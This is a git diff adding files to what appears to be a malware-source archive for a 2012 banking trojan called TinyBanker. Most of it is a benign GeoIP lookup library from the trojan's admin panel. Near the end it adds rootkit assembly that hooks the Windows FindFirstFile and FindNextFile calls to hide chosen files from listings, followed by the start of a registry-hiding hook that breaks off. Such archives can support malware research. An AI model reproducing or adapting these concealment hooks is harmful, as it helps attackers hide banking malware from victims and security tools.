"AE", "AF", "AG", "AI", "AL", "AM", "AN", "AO", "AQ", +"AR", "AS", "AT", "AU", "AW", "AZ", "BA", "BB", "BD", "BE", "BF", "BG", "BH", +"BI", "BJ", "BM", "BN", "BO", "BR", "BS", "BT", "BV", "BW", "BY", "BZ", "CA", +"CC", "CD", "CF", "CG", "CH", "CI", "CK", "CL", "CM", "CN", "CO", "CR", "CU", +"CV", "CX", "CY", "CZ", "DE", "DJ", "DK", "DM", "DO", "DZ", "EC", "EE", "EG", +"EH", "ER", "ES", "ET", "FI", "FJ", "FK", "FM", "FO", "FR", "FX", "GA", "GB", +"GD", "GE", "GF", "GH", "GI", "GL", "GM", "GN", "GP", "GQ", "GR", "GS", "GT", +"GU", "GW", "GY", "HK", "HM", "HN", "HR", "HT", "HU", "ID", "IE", "IL", "IN", +"IO", "IQ", "IR", "IS", "IT", "JM", "JO", "JP", "KE", "KG", "KH", "KI", "KM", +"KN", "KP", "KR", "KW", "KY", "KZ", "LA", "LB", "LC", "LI", "LK", "LR", "LS", +"LT", "LU", "LV", "LY", "MA", "MC", "MD", "MG", "MH", "MK", "ML", "MM", "MN", +"MO", "MP", "MQ", "MR", "MS", "MT", "MU", "MV", "MW", "MX", "MY", "MZ", "NA", +"NC", "NE", "NF", "NG", "NI", "NL", "NO", "NP", "NR", "NU", "NZ", "OM", "PA", +"PE", "PF", "PG", "PH", "PK", "PL", "PM", "PN", "PR", "PS", "PT", "PW", "PY", +"QA", "RE", "RO", "RU", "RW", "SA", "SB", "SC", "SD", "SE", "SG", "SH", "SI", +"SJ", "SK", "SL", "SM", "SN", "SO", "SR", "ST", "SV", "SY", "SZ", "TC", "TD", +"TF", "TG", "TH", "TJ", "TK", "TM", "TN", "TO", "TL", "TR", "TT", "TV", "TW", +"TZ", "UA", "UG", "UM", "US", "UY", "UZ", "VA", "VC", "VE", "VG", "VI", "VN", +"VU", "WF", "WS", "YE", "YT", "RS", "ZA", "ZM", "ME", "ZW", "A1", "A2", "O1", +"AX", "GG", "IM", "JE", "BL", "MF" +); + var $GEOIP_COUNTRY_CODES3 = array( +"--","AP","EU","AND","ARE","AFG","ATG","AIA","ALB","ARM","ANT","AGO","ATA","ARG", +"ASM","AUT","AUS","ABW","AZE","BIH","BRB","BGD","BEL","BFA","BGR","BHR","BDI", +"BEN","BMU","BRN","BOL","BRA","BHS","BTN","BVT","BWA","BLR","BLZ","CAN","CCK", +"COD","CAF","COG","CHE","CIV","COK","CHL","CMR","CHN","COL","CRI","CUB","CPV", +"CXR","CYP","CZE","DEU","DJI","DNK","DMA","DOM","DZA","ECU","EST","EGY","ESH", +"ERI","ESP","ETH","FIN","FJI","FLK","FSM","FRO","FRA","FX","GAB","GBR","GRD", +"GEO","GUF","GHA","GIB","GRL","GMB","GIN","GLP","GNQ","GRC","SGS","GTM","GUM", +"GNB","GUY","HKG","HMD","HND","HRV","HTI","HUN","IDN","IRL","ISR","IND","IOT", +"IRQ","IRN","ISL","ITA","JAM","JOR","JPN","KEN","KGZ","KHM","KIR","COM","KNA", +"PRK","KOR","KWT","CYM","KAZ","LAO","LBN","LCA","LIE","LKA","LBR","LSO","LTU", +"LUX","LVA","LBY","MAR","MCO","MDA","MDG","MHL","MKD","MLI","MMR","MNG","MAC", +"MNP","MTQ","MRT","MSR","MLT","MUS","MDV","MWI","MEX","MYS","MOZ","NAM","NCL", +"NER","NFK","NGA","NIC","NLD","NOR","NPL","NRU","NIU","NZL","OMN","PAN","PER", +"PYF","PNG","PHL","PAK","POL","SPM","PCN","PRI","PSE","PRT","PLW","PRY","QAT", +"REU","ROU","RUS","RWA","SAU","SLB","SYC","SDN","SWE","SGP","SHN","SVN","SJM", +"SVK","SLE","SMR","SEN","SOM","SUR","STP","SLV","SYR","SWZ","TCA","TCD","ATF", +"TGO","THA","TJK","TKL","TKM","TUN","TON","TLS","TUR","TTO","TUV","TWN","TZA", +"UKR","UGA","UMI","USA","URY","UZB","VAT","VCT","VEN","VGB","VIR","VNM","VUT", +"WLF","WSM","YEM","MYT","SRB","ZAF","ZMB","MNE","ZWE","A1","A2","O1", +"ALA","GGY","IMN","JEY","BLM","MAF" + ); + var $GEOIP_COUNTRY_NAMES = array( +"Unknown", "Asia/Pacific Region", "Europe", "Andorra", "United Arab Emirates", +"Afghanistan", "Antigua and Barbuda", "Anguilla", "Albania", "Armenia", +"Netherlands Antilles", "Angola", "Antarctica", "Argentina", "American Samoa", +"Austria", "Australia", "Aruba", "Azerbaijan", "Bosnia and Herzegovina", +"Barbados", "Bangladesh", "Belgium", "Burkina Faso", "Bulgaria", "Bahrain", +"Burundi", "Benin", "Bermuda", "Brunei Darussalam", "Bolivia", "Brazil", +"Bahamas", "Bhutan", "Bouvet Island", "Botswana", "Belarus", "Belize", +"Canada", "Cocos (Keeling) Islands", "Congo, The Democratic Republic of the", +"Central African Republic", "Congo", "Switzerland", "Cote D'Ivoire", "Cook Islands", +"Chile", "Cameroon", "China", "Colombia", "Costa Rica", "Cuba", "Cape Verde", +"Christmas Island", "Cyprus", "Czech Republic", "Germany", "Djibouti", +"Denmark", "Dominica", "Dominican Republic", "Algeria", "Ecuador", "Estonia", +"Egypt", "Western Sahara", "Eritrea", "Spain", "Ethiopia", "Finland", "Fiji", +"Falkland Islands (Malvinas)", "Micronesia, Federated States of", "Faroe Islands", +"France", "France, Metropolitan", "Gabon", "United Kingdom", +"Grenada", "Georgia", "French Guiana", "Ghana", "Gibraltar", "Greenland", +"Gambia", "Guinea", "Guadeloupe", "Equatorial Guinea", "Greece", "South Georgia and the South Sandwich Islands", +"Guatemala", "Guam", "Guinea-Bissau", +"Guyana", "Hong Kong", "Heard Island and McDonald Islands", "Honduras", +"Croatia", "Haiti", "Hungary", "Indonesia", "Ireland", "Israel", "India", +"British Indian Ocean Territory", "Iraq", "Iran, Islamic Republic of", +"Iceland", "Italy", "Jamaica", "Jordan", "Japan", "Kenya", "Kyrgyzstan", +"Cambodia", "Kiribati", "Comoros", "Saint Kitts and Nevis", "Korea, Democratic People's Republic of", +"Korea, Republic of", "Kuwait", "Cayman Islands", +"Kazakhstan", "Lao People's Democratic Republic", "Lebanon", "Saint Lucia", +"Liechtenstein", "Sri Lanka", "Liberia", "Lesotho", "Lithuania", "Luxembourg", +"Latvia", "Libyan Arab Jamahiriya", "Morocco", "Monaco", "Moldova, Republic of", +"Madagascar", "Marshall Islands", "Macedonia", +"Mali", "Myanmar", "Mongolia", "Macau", "Northern Mariana Islands", +"Martinique", "Mauritania", "Montserrat", "Malta", "Mauritius", "Maldives", +"Malawi", "Mexico", "Malaysia", "Mozambique", "Namibia", "New Caledonia", +"Niger", "Norfolk Island", "Nigeria", "Nicaragua", "Netherlands", "Norway", +"Nepal", "Nauru", "Niue", "New Zealand", "Oman", "Panama", "Peru", "French Polynesia", +"Papua New Guinea", "Philippines", "Pakistan", "Poland", "Saint Pierre and Miquelon", +"Pitcairn Islands", "Puerto Rico", "Palestinian Territory", +"Portugal", "Palau", "Paraguay", "Qatar", "Reunion", "Romania", +"Russian Federation", "Rwanda", "Saudi Arabia", "Solomon Islands", +"Seychelles", "Sudan", "Sweden", "Singapore", "Saint Helena", "Slovenia", +"Svalbard and Jan Mayen", "Slovakia", "Sierra Leone", "San Marino", "Senegal", +"Somalia", "Suriname", "Sao Tome and Principe", "El Salvador", "Syrian Arab Republic", +"Swaziland", "Turks and Caicos Islands", "Chad", "French Southern Territories", +"Togo", "Thailand", "Tajikistan", "Tokelau", "Turkmenistan", +"Tunisia", "Tonga", "Timor-Leste", "Turkey", "Trinidad and Tobago", "Tuvalu", +"Taiwan", "Tanzania, United Republic of", "Ukraine", +"Uganda", "United States Minor Outlying Islands", "United States", "Uruguay", +"Uzbekistan", "Holy See (Vatican City State)", "Saint Vincent and the Grenadines", +"Venezuela", "Virgin Islands, British", "Virgin Islands, U.S.", +"Vietnam", "Vanuatu", "Wallis and Futuna", "Samoa", "Yemen", "Mayotte", +"Serbia", "South Africa", "Zambia", "Montenegro", "Zimbabwe", +"Anonymous Proxy","Satellite Provider","Other", +"Aland Islands","Guernsey","Isle of Man","Jersey","Saint Barthelemy","Saint Martin" +); + + var $GEOIP_CONTINENT_CODES = array( + "--", "AS", "EU", "EU", "AS", "AS", "NA", "NA", "EU", "AS", + "NA", "AF", "AN", "SA", "OC", "EU", "OC", "NA", "AS", "EU", + "NA", "AS", "EU", "AF", "EU", "AS", "AF", "AF", "NA", "AS", + "SA", "SA", "NA", "AS", "AN", "AF", "EU", "NA", "NA", "AS", + "AF", "AF", "AF", "EU", "AF", "OC", "SA", "AF", "AS", "SA", + "NA", "NA", "AF", "AS", "AS", "EU", "EU", "AF", "EU", "NA", + "NA", "AF", "SA", "EU", "AF", "AF", "AF", "EU", "AF", "EU", + "OC", "SA", "OC", "EU", "EU", "EU", "AF", "EU", "NA", "AS", + "SA", "AF", "EU", "NA", "AF", "AF", "NA", "AF", "EU", "AN", + "NA", "OC", "AF", "SA", "AS", "AN", "NA", "EU", "NA", "EU", + "AS", "EU", "AS", "AS", "AS", "AS", "AS", "EU", "EU", "NA", + "AS", "AS", "AF", "AS", "AS", "OC", "AF", "NA", "AS", "AS", + "AS", "NA", "AS", "AS", "AS", "NA", "EU", "AS", "AF", "AF", + "EU", "EU", "EU", "AF", "AF", "EU", "EU", "AF", "OC", "EU", + "AF", "AS", "AS", "AS", "OC", "NA", "AF", "NA", "EU", "AF", + "AS", "AF", "NA", "AS", "AF", "AF", "OC", "AF", "OC", "AF", + "NA", "EU", "EU", "AS", "OC", "OC", "OC", "AS", "NA", "SA", + "OC", "OC", "AS", "AS", "EU", "NA", "OC", "NA", "AS", "EU", + "OC", "SA", "AS", "AF", "EU", "EU", "AF", "AS", "OC", "AF", + "AF", "EU", "AS", "AF", "EU", "EU", "EU", "AF", "EU", "AF", + "AF", "SA", "AF", "NA", "AS", "AF", "NA", "AF", "AN", "AF", + "AS", "AS", "OC", "AS", "AF", "OC", "AS", "EU", "NA", "OC", + "AS", "AF", "EU", "AF", "OC", "NA", "SA", "AS", "EU", "NA", + "SA", "NA", "NA", "AS", "OC", "OC", "OC", "AS", "AF", "EU", + "AF", "AF", "EU", "AF", "--", "--", "--", "EU", "EU", "EU", + "EU", "NA", "NA" +); + +} +function geoip_load_shared_mem ($file) { + + $fp = fopen($file, "rb"); + if (!$fp) { + print "error opening $file: $php_errormsg\n"; + exit; + } + $s_array = fstat($fp); + $size = $s_array['size']; + if ($shmid = @shmop_open (GEOIP_SHM_KEY, "w", 0, 0)) { + shmop_delete ($shmid); + shmop_close ($shmid); + } + $shmid = shmop_open (GEOIP_SHM_KEY, "c", 0644, $size); + shmop_write ($shmid, fread($fp, $size), 0); + shmop_close ($shmid); +} + +function _setup_segments($gi){ + $gi->databaseType = GEOIP_COUNTRY_EDITION; + $gi->record_length = STANDARD_RECORD_LENGTH; + if ($gi->flags & GEOIP_SHARED_MEMORY) { + $offset = @shmop_size ($gi->shmid) - 3; + for ($i = 0; $i < STRUCTURE_INFO_MAX_SIZE; $i++) { + $delim = @shmop_read ($gi->shmid, $offset, 3); + $offset += 3; + if ($delim == (chr(255).chr(255).chr(255))) { + $gi->databaseType = ord(@shmop_read ($gi->shmid, $offset, 1)); + $offset++; + + if ($gi->databaseType == GEOIP_REGION_EDITION_REV0){ + $gi->databaseSegments = GEOIP_STATE_BEGIN_REV0; + } else if ($gi->databaseType == GEOIP_REGION_EDITION_REV1){ + $gi->databaseSegments = GEOIP_STATE_BEGIN_REV1; + } else if (($gi->databaseType == GEOIP_CITY_EDITION_REV0)|| + ($gi->databaseType == GEOIP_CITY_EDITION_REV1) + || ($gi->databaseType == GEOIP_ORG_EDITION) + || ($gi->databaseType == GEOIP_ORG_EDITION_V6) + || ($gi->databaseType == GEOIP_DOMAIN_EDITION) + || ($gi->databaseType == GEOIP_DOMAIN_EDITION_V6) + || ($gi->databaseType == GEOIP_ISP_EDITION) + || ($gi->databaseType == GEOIP_ISP_EDITION_V6) + || ($gi->databaseType == GEOIP_USERTYPE_EDITION) + || ($gi->databaseType == GEOIP_USERTYPE_EDITION_V6) + || ($gi->databaseType == GEOIP_LOCATIONA_EDITION) + || ($gi->databaseType == GEOIP_ACCURACYRADIUS_EDITION) + || ($gi->databaseType == GEOIP_CITY_EDITION_REV0_V6) + || ($gi->databaseType == GEOIP_CITY_EDITION_REV1_V6) + || ($gi->databaseType == GEOIP_NETSPEED_EDITION_REV1) + || ($gi->databaseType == GEOIP_NETSPEED_EDITION_REV1_V6) + || ($gi->databaseType == GEOIP_ASNUM_EDITION) + || ($gi->databaseType == GEOIP_ASNUM_EDITION_V6)){ + $gi->databaseSegments = 0; + $buf = @shmop_read ($gi->shmid, $offset, SEGMENT_RECORD_LENGTH); + for ($j = 0;$j < SEGMENT_RECORD_LENGTH;$j++){ + $gi->databaseSegments += (ord($buf[$j]) << ($j * 8)); + } + if (($gi->databaseType == GEOIP_ORG_EDITION) + || ($gi->databaseType == GEOIP_ORG_EDITION_V6) + || ($gi->databaseType == GEOIP_DOMAIN_EDITION) + || ($gi->databaseType == GEOIP_DOMAIN_EDITION_V6) + || ($gi->databaseType == GEOIP_ISP_EDITION) + || ($gi->databaseType == GEOIP_ISP_EDITION_V6)) { + $gi->record_length = ORG_RECORD_LENGTH; + } + } + break; + } else { + $offset -= 4; + } + } + if (($gi->databaseType == GEOIP_COUNTRY_EDITION)|| + ($gi->databaseType == GEOIP_COUNTRY_EDITION_V6)|| + ($gi->databaseType == GEOIP_PROXY_EDITION)|| + ($gi->databaseType == GEOIP_NETSPEED_EDITION)){ + $gi->databaseSegments = GEOIP_COUNTRY_BEGIN; + } + } else { + $filepos = ftell($gi->filehandle); + fseek($gi->filehandle, -3, SEEK_END); + for ($i = 0; $i < STRUCTURE_INFO_MAX_SIZE; $i++) { + $delim = fread($gi->filehandle,3); + if ($delim == (chr(255).chr(255).chr(255))){ + $gi->databaseType = ord(fread($gi->filehandle,1)); + if ($gi->databaseType == GEOIP_REGION_EDITION_REV0){ + $gi->databaseSegments = GEOIP_STATE_BEGIN_REV0; + } + else if ($gi->databaseType == GEOIP_REGION_EDITION_REV1){ + $gi->databaseSegments = GEOIP_STATE_BEGIN_REV1; + } else if (($gi->databaseType == GEOIP_CITY_EDITION_REV0) + || ($gi->databaseType == GEOIP_CITY_EDITION_REV1) + || ($gi->databaseType == GEOIP_CITY_EDITION_REV0_V6) + || ($gi->databaseType == GEOIP_CITY_EDITION_REV1_V6) + || ($gi->databaseType == GEOIP_ORG_EDITION) + || ($gi->databaseType == GEOIP_DOMAIN_EDITION) + || ($gi->databaseType == GEOIP_ISP_EDITION) + || ($gi->databaseType == GEOIP_ORG_EDITION_V6) + || ($gi->databaseType == GEOIP_DOMAIN_EDITION_V6) + || ($gi->databaseType == GEOIP_ISP_EDITION_V6) + || ($gi->databaseType == GEOIP_LOCATIONA_EDITION) + || ($gi->databaseType == GEOIP_ACCURACYRADIUS_EDITION) + || ($gi->databaseType == GEOIP_CITY_EDITION_REV0_V6) + || ($gi->databaseType == GEOIP_CITY_EDITION_REV1_V6) + || ($gi->databaseType == GEOIP_NETSPEED_EDITION_REV1) + || ($gi->databaseType == GEOIP_NETSPEED_EDITION_REV1_V6) + || ($gi->databaseType == GEOIP_USERTYPE_EDITION) + || ($gi->databaseType == GEOIP_USERTYPE_EDITION_V6) + || ($gi->databaseType == GEOIP_ASNUM_EDITION) + || ($gi->databaseType == GEOIP_ASNUM_EDITION_V6)){ + $gi->databaseSegments = 0; + $buf = fread($gi->filehandle,SEGMENT_RECORD_LENGTH); + for ($j = 0;$j < SEGMENT_RECORD_LENGTH;$j++){ + $gi->databaseSegments += (ord($buf[$j]) << ($j * 8)); + } + if ( ( $gi->databaseType == GEOIP_ORG_EDITION ) + || ( $gi->databaseType == GEOIP_DOMAIN_EDITION ) + || ( $gi->databaseType == GEOIP_ISP_EDITION ) + || ( $gi->databaseType == GEOIP_ORG_EDITION_V6 ) + || ( $gi->databaseType == GEOIP_DOMAIN_EDITION_V6 ) + || ( $gi->databaseType == GEOIP_ISP_EDITION_V6 )) { + $gi->record_length = ORG_RECORD_LENGTH; + } + } + break; + } else { + fseek($gi->filehandle, -4, SEEK_CUR); + } + } + if (($gi->databaseType == GEOIP_COUNTRY_EDITION)|| + ($gi->databaseType == GEOIP_COUNTRY_EDITION_V6)|| + ($gi->databaseType == GEOIP_PROXY_EDITION)|| + ($gi->databaseType == GEOIP_NETSPEED_EDITION)){ + $gi->databaseSegments = GEOIP_COUNTRY_BEGIN; + } + fseek($gi->filehandle,$filepos,SEEK_SET); + } + return $gi; +} + +function geoip_open($filename, $flags) { + $gi = new GeoIP; + $gi->flags = $flags; + if ($gi->flags & GEOIP_SHARED_MEMORY) { + $gi->shmid = @shmop_open (GEOIP_SHM_KEY, "a", 0, 0); + } else { + $gi->filehandle = fopen($filename,"rb") or die( "Can not open $filename\n" ); + if ($gi->flags & GEOIP_MEMORY_CACHE) { + $s_array = fstat($gi->filehandle); + $gi->memory_buffer = fread($gi->filehandle, $s_array['size']); + } + } + + $gi = _setup_segments($gi); + return $gi; +} + +function geoip_close($gi) { + if ($gi->flags & GEOIP_SHARED_MEMORY) { + return true; + } + + return fclose($gi->filehandle); +} + +function geoip_country_id_by_name_v6($gi, $name) { + $rec = dns_get_record($name, DNS_AAAA); + if ( !$rec ) { + return false; + } + $addr = $rec[0]["ipv6"]; + if (!$addr || $addr == $name) { + return false; + } + return geoip_country_id_by_addr_v6($gi, $addr); +} + +function geoip_country_id_by_name($gi, $name) { + $addr = gethostbyname($name); + if (!$addr || $addr == $name) { + return false; + } + return geoip_country_id_by_addr($gi, $addr); +} + +function geoip_country_code_by_name_v6($gi, $name) { + $country_id = geoip_country_id_by_name_v6($gi,$name); + if ($country_id !== false) { + return $gi->GEOIP_COUNTRY_CODES[$country_id]; + } + return false; +} + +function geoip_country_code_by_name($gi, $name) { + $country_id = geoip_country_id_by_name($gi,$name); + if ($country_id !== false) { + return $gi->GEOIP_COUNTRY_CODES[$country_id]; + } + return false; +} + +function geoip_country_name_by_name_v6($gi, $name) { + $country_id = geoip_country_id_by_name_v6($gi,$name); + if ($country_id !== false) { + return $gi->GEOIP_COUNTRY_NAMES[$country_id]; + } + return false; +} + +function geoip_country_name_by_name($gi, $name) { + $country_id = geoip_country_id_by_name($gi,$name); + if ($country_id !== false) { + return $gi->GEOIP_COUNTRY_NAMES[$country_id]; + } + return false; +} + +function geoip_country_id_by_addr_v6($gi, $addr) { + $ipnum = inet_pton($addr); + return _geoip_seek_country_v6($gi, $ipnum) - GEOIP_COUNTRY_BEGIN; +} + +function geoip_country_id_by_addr($gi, $addr) { + $ipnum = ip2long($addr); + return _geoip_seek_country($gi, $ipnum) - GEOIP_COUNTRY_BEGIN; +} + +function geoip_country_code_by_addr_v6($gi, $addr) { + $country_id = geoip_country_id_by_addr_v6($gi,$addr); + if ($country_id !== false) { + return $gi->GEOIP_COUNTRY_CODES[$country_id]; + } + return false; +} + +function geoip_country_code_by_addr($gi, $addr) { + if ($gi->databaseType == GEOIP_CITY_EDITION_REV1) { + $record = geoip_record_by_addr($gi,$addr); + if ( $record !== false ) { + return $record->country_code; + } + } else { + $country_id = geoip_country_id_by_addr($gi,$addr); + if ($country_id !== false) { + return $gi->GEOIP_COUNTRY_CODES[$country_id]; + } + } + return false; +} + +function geoip_country_name_by_addr_v6($gi, $addr) { + $country_id = geoip_country_id_by_addr_v6($gi,$addr); + if ($country_id !== false) { + return $gi->GEOIP_COUNTRY_NAMES[$country_id]; + } + return false; +} + +function geoip_country_name_by_addr($gi, $addr) { + if ($gi->databaseType == GEOIP_CITY_EDITION_REV1) { + $record = geoip_record_by_addr($gi,$addr); + return $record->country_name; + } else { + $country_id = geoip_country_id_by_addr($gi,$addr); + if ($country_id !== false) { + return $gi->GEOIP_COUNTRY_NAMES[$country_id]; + } + } + return false; +} + +function _geoip_seek_country_v6($gi, $ipnum) { + + # arrays from unpack start with offset 1 + # yet another php mystery. array_merge work around + # this broken behaviour + $v6vec = array_merge(unpack( "C16", $ipnum)); + + $offset = 0; + for ($depth = 127; $depth >= 0; --$depth) { + if ($gi->flags & GEOIP_MEMORY_CACHE) { + // workaround php's broken substr, strpos, etc handling with + // mbstring.func_overload and mbstring.internal_encoding + $enc = mb_internal_encoding(); + mb_internal_encoding('ISO-8859-1'); + + $buf = substr($gi->memory_buffer, + 2 * $gi->record_length * $offset, + 2 * $gi->record_length); + + mb_internal_encoding($enc); + } elseif ($gi->flags & GEOIP_SHARED_MEMORY) { + $buf = @shmop_read ($gi->shmid, + 2 * $gi->record_length * $offset, + 2 * $gi->record_length ); + } else { + fseek($gi->filehandle, 2 * $gi->record_length * $offset, SEEK_SET) == 0 + or die("fseek failed"); + $buf = fread($gi->filehandle, 2 * $gi->record_length); + } + $x = array(0,0); + for ($i = 0; $i < 2; ++$i) { + for ($j = 0; $j < $gi->record_length; ++$j) { + $x[$i] += ord($buf[$gi->record_length * $i + $j]) << ($j * 8); + } + } + + $bnum = 127 - $depth; + $idx = $bnum >> 3; + $b_mask = 1 << ( $bnum & 7 ^ 7 ); + if (($v6vec[$idx] & $b_mask) > 0) { + if ($x[1] >= $gi->databaseSegments) { + return $x[1]; + } + $offset = $x[1]; + } else { + if ($x[0] >= $gi->databaseSegments) { + return $x[0]; + } + $offset = $x[0]; + } + } + trigger_error("error traversing database - perhaps it is corrupt?", E_USER_ERROR); + return false; +} + +function _geoip_seek_country($gi, $ipnum) { + $offset = 0; + for ($depth = 31; $depth >= 0; --$depth) { + if ($gi->flags & GEOIP_MEMORY_CACHE) { + // workaround php's broken substr, strpos, etc handling with + // mbstring.func_overload and mbstring.internal_encoding + $enc = mb_internal_encoding(); + mb_internal_encoding('ISO-8859-1'); + + $buf = substr($gi->memory_buffer, + 2 * $gi->record_length * $offset, + 2 * $gi->record_length); + + mb_internal_encoding($enc); + } elseif ($gi->flags & GEOIP_SHARED_MEMORY) { + $buf = @shmop_read ($gi->shmid, + 2 * $gi->record_length * $offset, + 2 * $gi->record_length ); + } else { + fseek($gi->filehandle, 2 * $gi->record_length * $offset, SEEK_SET) == 0 + or die("fseek failed"); + $buf = fread($gi->filehandle, 2 * $gi->record_length); + } + $x = array(0,0); + for ($i = 0; $i < 2; ++$i) { + for ($j = 0; $j < $gi->record_length; ++$j) { + $x[$i] += ord($buf[$gi->record_length * $i + $j]) << ($j * 8); + } + } + if ($ipnum & (1 << $depth)) { + if ($x[1] >= $gi->databaseSegments) { + return $x[1]; + } + $offset = $x[1]; + } else { + if ($x[0] >= $gi->databaseSegments) { + return $x[0]; + } + $offset = $x[0]; + } + } + trigger_error("error traversing database - perhaps it is corrupt?", E_USER_ERROR); + return false; +} + +function _common_get_org($gi, $seek_org){ + $record_pointer = $seek_org + (2 * $gi->record_length - 1) * $gi->databaseSegments; + if ($gi->flags & GEOIP_SHARED_MEMORY) { + $org_buf = @shmop_read ($gi->shmid, $record_pointer, MAX_ORG_RECORD_LENGTH); + } else { + fseek($gi->filehandle, $record_pointer, SEEK_SET); + $org_buf = fread($gi->filehandle,MAX_ORG_RECORD_LENGTH); + } + // workaround php's broken substr, strpos, etc handling with + // mbstring.func_overload and mbstring.internal_encoding + $enc = mb_internal_encoding(); + mb_internal_encoding('ISO-8859-1'); + $org_buf = substr($org_buf, 0, strpos($org_buf, "\0")); + mb_internal_encoding($enc); + return $org_buf; +} + +function _get_org_v6($gi,$ipnum){ + $seek_org = _geoip_seek_country_v6($gi,$ipnum); + if ($seek_org == $gi->databaseSegments) { + return NULL; + } + return _common_get_org($gi, $seek_org); +} + +function _get_org($gi,$ipnum){ + $seek_org = _geoip_seek_country($gi,$ipnum); + if ($seek_org == $gi->databaseSegments) { + return NULL; + } + return _common_get_org($gi, $seek_org); +} + + + +function geoip_name_by_addr_v6 ($gi,$addr) { + if ($addr == NULL) { + return 0; + } + $ipnum = inet_pton($addr); + return _get_org_v6($gi, $ipnum); +} + +function geoip_name_by_addr ($gi,$addr) { + if ($addr == NULL) { + return 0; + } + $ipnum = ip2long($addr); + return _get_org($gi, $ipnum); +} + +function geoip_org_by_addr ($gi,$addr) { + return geoip_name_by_addr($gi, $addr); +} + +function _get_region($gi,$ipnum){ + if ($gi->databaseType == GEOIP_REGION_EDITION_REV0){ + $seek_region = _geoip_seek_country($gi,$ipnum) - GEOIP_STATE_BEGIN_REV0; + if ($seek_region >= 1000){ + $country_code = "US"; + $region = chr(($seek_region - 1000)/26 + 65) . chr(($seek_region - 1000)%26 + 65); + } else { + $country_code = $gi->GEOIP_COUNTRY_CODES[$seek_region]; + $region = ""; + } + return array ($country_code,$region); + } else if ($gi->databaseType == GEOIP_REGION_EDITION_REV1) { + $seek_region = _geoip_seek_country($gi,$ipnum) - GEOIP_STATE_BEGIN_REV1; + //print $seek_region; + if ($seek_region < US_OFFSET){ + $country_code = ""; + $region = ""; + } else if ($seek_region < CANADA_OFFSET) { + $country_code = "US"; + $region = chr(($seek_region - US_OFFSET)/26 + 65) . chr(($seek_region - US_OFFSET)%26 + 65); + } else if ($seek_region < WORLD_OFFSET) { + $country_code = "CA"; + $region = chr(($seek_region - CANADA_OFFSET)/26 + 65) . chr(($seek_region - CANADA_OFFSET)%26 + 65); + } else { + $country_code = $gi->GEOIP_COUNTRY_CODES[($seek_region - WORLD_OFFSET) / FIPS_RANGE]; + $region = ""; + } + return array ($country_code,$region); + } +} + +function geoip_region_by_addr ($gi,$addr) { + if ($addr == NULL) { + return 0; + } + $ipnum = ip2long($addr); + return _get_region($gi, $ipnum); +} + +function getdnsattributes ($l,$ip){ + $r = new Net_DNS_Resolver(); + $r->nameservers = array("ws1.maxmind.com"); + $p = $r->search($l."." . $ip .".s.maxmind.com","TXT","IN"); + $str = is_object($p->answer[0])?$p->answer[0]->string():''; + $str = substr( $str, 1, -1 ); + return $str; +} + +?> diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/includes/mysql.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/includes/mysql.php new file mode 100644 index 0000000..cd22da0 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/includes/mysql.php @@ -0,0 +1,11 @@ + \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/includes/rc4.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/includes/rc4.php new file mode 100644 index 0000000..038e8b9 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/includes/rc4.php @@ -0,0 +1,35 @@ + \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/-RootKit/HideFile.asm b/malwares/Source/Original/TinyBanker_Jan2012/source/-RootKit/HideFile.asm new file mode 100644 index 0000000..7711e09 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/-RootKit/HideFile.asm @@ -0,0 +1,109 @@ + +.code + +;; -------------------------------------------------------------------------------- ;; +NewFindFirstFileEx proc p1:dword, p2:dword, p3:dword, p4:dword, p5:dword, p6:dword + + push p6 ; dwAdditionalFlags + push p5 ; lpSearchFilter + push p4 ; fSearchOp + push p3 ; lpFindFileData + push p2 ; fInfoLevelId + push p1 ; lpFileName + call eax ; Real FindFirstFileEx + .if eax==INVALID_HANDLE_VALUE + ret + .endif + + pushad + +; Decision: to hide or not to hide + mov ebx, p3 + add ebx, 44 ; FileName offset in WIN32_FIND_DATA struc + call IsHiddenFile + .if ebx==0 + popad + ret + .endif + +; Hide file (replace by next) + invoke FindNextFileW, eax, p3 + .if eax!=0 + popad + ret + .endif + +; If hidden file was last + invoke SetLastError, ERROR_FILE_NOT_FOUND + popad + xor eax, eax + ret +NewFindFirstFileEx endp + + +;; -------------------------------------------------------------------------------- ;; +NewFindFirstFile proc p1:dword, p2:dword + + push p2 ; lpFindFileData + push p1 ; lpFileName + call eax ; Real FindFirstFile + .if eax==INVALID_HANDLE_VALUE + ret + .endif + + pushad + +; Decision: to hide or not to hide + mov ebx, p2 + add ebx, 44 ; FileName offset in WIN32_FIND_DATA struc + call IsHiddenFile + .if ebx==0 + popad + ret + .endif + +; Hide file (replace by next) + invoke FindNextFileW, eax, p2 + .if eax!=0 + popad + ret + .endif + +; If hidden file was last + invoke SetLastError, ERROR_FILE_NOT_FOUND + popad + xor eax, eax + ret +NewFindFirstFile endp + + +;; -------------------------------------------------------------------------------- ;; +NewFindNextFile proc p1:dword, p2:dword + local RealFindNextFile : dword + + mov RealFindNextFile, eax + +@FindNextFile: + push p2 ; lpFindFileData + push p1 ; hFindFile + call RealFindNextFile ; Real FindNextFile + .if eax==0 + ret + .endif + + pushad + +; Decision: to hide or not to hide + mov ebx, p2 + add ebx, 44 ; FileName offset in WIN32_FIND_DATA struc + call IsHiddenFile + .if ebx==0 + popad + ret + .endif + +; Hide file (replace by next) + popad + jmp @FindNextFile +NewFindNextFile endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/-RootKit/HideProc.asm b/malwares/Source/Original/TinyBanker_Jan2012/source/-RootKit/HideProc.asm new file mode 100644 index 0000000..e69de29 diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/-RootKit/HideReg.asm b/malwares/Source/Original/TinyBanker_Jan2012/source/-RootKit/HideReg.asm new file mode 100644 index 0000000..846b35a --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/-RootKit/HideReg.asm @@ -0,0 +1,53 @@ + +.data + nHdnCount dd 0 ; Hidden records counter (for delta) + + +.code + +;; -------------------------------------------------------------------------------- ;; +NewRegEnumValue proc p1:dword, p2:dword, p3:dword, p4:dword, p5:dword, p6:dword, p7:dword, p8:dword + local RealRegEnumValue : dword + + mov RealRegEnumValue, eax + +; Init counter 